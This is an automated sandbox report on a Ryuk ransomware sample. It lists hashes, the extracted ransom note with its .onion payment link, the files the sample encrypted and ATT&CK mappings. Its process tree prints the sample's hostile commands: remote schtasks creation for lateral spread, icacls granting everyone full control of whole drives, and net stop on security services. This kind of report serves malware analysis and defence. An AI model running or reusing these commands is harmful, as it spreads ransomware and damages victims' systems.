ryuk | 59a777daa0a5b26077c69c7cb26b7f72be6b38604b7caea7c6aef0e89991c748

Analysis

max time kernel
135s
max time network
154s
platform
windows10_x64
resource
win10v20201028
submitted
30-03-2021 11:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
Size

121KB
MD5

7364f6222ac58896e8920f32e4d30aac
SHA1

915fd6fb4e20909025f876f3bb453ec52e21b7be
SHA256

23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f
SHA512

f5e2b5a17ed04c7edb904e867cec2f66a59b887176bd3e25803e82a390fc36fc47002df747099ca4e6960f020afe1137f4ba24b28613423b5de0b09ff7048026

Score

10^/10

ryuk discovery ransomware

Malware Config

Extracted

Path

C:\users\Public\RyukReadMe.html

Family

ryuk

Ransom Note

contact balance of shadow universe Ryuk $password = 'RCCF8gd'; $torlink = 'http://rdmnobnbtxh5sm3iiczazaregkpyyub3gktwneeehx62tyot5bc4qhad.onion'; function info(){alert("INSTRUCTION:\r\n1. Download tor browser.\r\n2. Open link through tor browser: " + $torlink + "\r\n3. Fill the form, your password: "+ $password +"\r\nWe will contact you shortly.\r\nAlways send files for test decryption.");};

URLs

http://rdmnobnbtxh5sm3iiczazaregkpyyub3gktwneeehx62tyot5bc4qhad.onion

Signatures

Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
ransomware ryuk

Executes dropped EXE 3 IoCs

pid	Process
3408	ahCCzFoxWrep.exe
2644	CNPohPMzYlan.exe
1928	rSBJARVjJlan.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4476	icacls.exe
4488	icacls.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\th-TH\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-compat_ja.jar	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\CSS7DATA000A.DLL	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.SPREADSHEETCOMPARE.16.1033.hxn	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\PROFILE.INF	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\de_get.svg	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\plugin.jar	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_Grace-ppd.xrm-ms	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSIPC\hu\msipc.dll.mui	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations.nl_zh_4.4.0.v20140623020002.jar	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTest3-pl.xrm-ms	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\Resources\1033\msmdsrv.rll	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\adobepdf.xdc	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon_hover_2x.png	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\fr-fr\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Outlook2019R_Grace-ppd.xrm-ms	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\sv-se\ui-strings.js	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\file_icons.png	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\WinFXList.xml	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\7-Zip\Lang\et.txt	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_es.properties	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql.nl_zh_4.4.0.v20140623020002.jar	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\DATABASECOMPARE.EXE	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\es-es\PlayStore_icon.svg	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\nb-no\ui-strings.js	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\rsod\proof.en-us.msi.16.en-us.tree.dat	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\illustrations_retina.png	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ko-kr\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\nb-no\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ClientSub_eula.txt	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\FDATE.DLL	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\hr-hr\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-jvm.xml	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\fr-ma\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Median.xml	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\HeartbeatConfig.xml	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-fr\ui-strings.js	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\es-es\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\en-il\ui-strings.js	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PROOF\MSGR8ES.LEX	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Protect_R_RHP.aapp	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\3difr.x3d	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\editpdf.svg	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\en-gb\ui-strings.js	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\icons.png	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\mc.jar	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-heapwalker_zh_CN.jar	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\AccessR_Retail-ppd.xrm-ms	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\core\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hr-hr\ui-strings.js	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-ma\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\hr-hr\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PG_INDEX.XML	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\COPYING.txt	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\de-de\RyukReadMe.html	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile-2x.png	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-compat.xml	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Excel2019R_OEM_Perp-ppd.xrm-ms	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\MondoR_SubTrial2-ul-oob.xrm-ms	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1500	schtasks.exe
4676	schtasks.exe
4860	schtasks.exe
1640	schtasks.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 3692 wrote to memory of 3408	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	79
PID 3692 wrote to memory of 3408	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	79
PID 3692 wrote to memory of 3408	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	79
PID 3692 wrote to memory of 2644	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	80
PID 3692 wrote to memory of 2644	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	80
PID 3692 wrote to memory of 2644	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	80
PID 3692 wrote to memory of 1928	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	81
PID 3692 wrote to memory of 1928	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	81
PID 3692 wrote to memory of 1928	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	81
PID 3692 wrote to memory of 4476	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	82
PID 3692 wrote to memory of 4476	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	82
PID 3692 wrote to memory of 4476	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	82
PID 3692 wrote to memory of 4488	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	85
PID 3692 wrote to memory of 4488	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	85
PID 3692 wrote to memory of 4488	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	85
PID 3692 wrote to memory of 4760	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	86
PID 3692 wrote to memory of 4760	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	86
PID 3692 wrote to memory of 4760	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	86
PID 3692 wrote to memory of 1144	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	88
PID 3692 wrote to memory of 1144	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	88
PID 3692 wrote to memory of 1144	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	88
PID 3692 wrote to memory of 4820	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	87
PID 3692 wrote to memory of 4820	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	87
PID 3692 wrote to memory of 4820	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	87
PID 3692 wrote to memory of 2096	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	92
PID 3692 wrote to memory of 2096	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	92
PID 3692 wrote to memory of 2096	3692	23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe	92
PID 1144 wrote to memory of 4944	1144	net.exe	96
PID 1144 wrote to memory of 4944	1144	net.exe	96
PID 1144 wrote to memory of 4944	1144	net.exe	96
PID 4760 wrote to memory of 4844	4760	net.exe	95
PID 4760 wrote to memory of 4844	4760	net.exe	95
PID 4760 wrote to memory of 4844	4760	net.exe	95
PID 4820 wrote to memory of 4524	4820	net.exe	97
PID 4820 wrote to memory of 4524	4820	net.exe	97
PID 4820 wrote to memory of 4524	4820	net.exe	97
PID 2096 wrote to memory of 4548	2096	net.exe	94
PID 2096 wrote to memory of 4548	2096	net.exe	94
PID 2096 wrote to memory of 4548	2096	net.exe	94
PID 3408 wrote to memory of 1500	3408	ahCCzFoxWrep.exe	98
PID 3408 wrote to memory of 1500	3408	ahCCzFoxWrep.exe	98
PID 3408 wrote to memory of 1500	3408	ahCCzFoxWrep.exe	98
PID 3408 wrote to memory of 4676	3408	ahCCzFoxWrep.exe	100
PID 3408 wrote to memory of 4676	3408	ahCCzFoxWrep.exe	100
PID 3408 wrote to memory of 4676	3408	ahCCzFoxWrep.exe	100
PID 3408 wrote to memory of 4860	3408	ahCCzFoxWrep.exe	103
PID 3408 wrote to memory of 4860	3408	ahCCzFoxWrep.exe	103
PID 3408 wrote to memory of 4860	3408	ahCCzFoxWrep.exe	103
PID 3408 wrote to memory of 1640	3408	ahCCzFoxWrep.exe	105
PID 3408 wrote to memory of 1640	3408	ahCCzFoxWrep.exe	105
PID 3408 wrote to memory of 1640	3408	ahCCzFoxWrep.exe	105

C:\Users\Admin\AppData\Local\Temp\23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
"C:\Users\Admin\AppData\Local\Temp\23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe"
1⤵
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3692
- C:\Users\Admin\AppData\Local\Temp\ahCCzFoxWrep.exe
  "C:\Users\Admin\AppData\Local\Temp\ahCCzFoxWrep.exe" 9 REP
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3408
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.76 /TN o9RUoiG /TR "C:\Users\Public\ahCCzFoxWrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:1500
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.73 /TN rRT5Wad /TR "C:\Users\Public\ahCCzFoxWrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4676
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.68 /TN u1gAWtN /TR "C:\Users\Public\ahCCzFoxWrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4860
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.84 /TN 4L6kBM7 /TR "C:\Users\Public\ahCCzFoxWrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:1640
- C:\Users\Admin\AppData\Local\Temp\CNPohPMzYlan.exe
  "C:\Users\Admin\AppData\Local\Temp\CNPohPMzYlan.exe" 8 LAN
  2⤵
  - Executes dropped EXE
  PID:2644
- C:\Users\Admin\AppData\Local\Temp\rSBJARVjJlan.exe
  "C:\Users\Admin\AppData\Local\Temp\rSBJARVjJlan.exe" 8 LAN
  2⤵
  - Executes dropped EXE
  PID:1928
- C:\Windows\SysWOW64\icacls.exe
  icacls "C:\*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4476
- C:\Windows\SysWOW64\icacls.exe
  icacls "D:\*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4488
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:4844
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:4524
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1144
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:4944
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:4548

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3692-11-0x0000000002DD0000-0x0000000002DD1000-memory.dmp

Filesize
4KB

Download
memory/3692-12-0x00000000035D0000-0x00000000035D1000-memory.dmp

Filesize
4KB

Download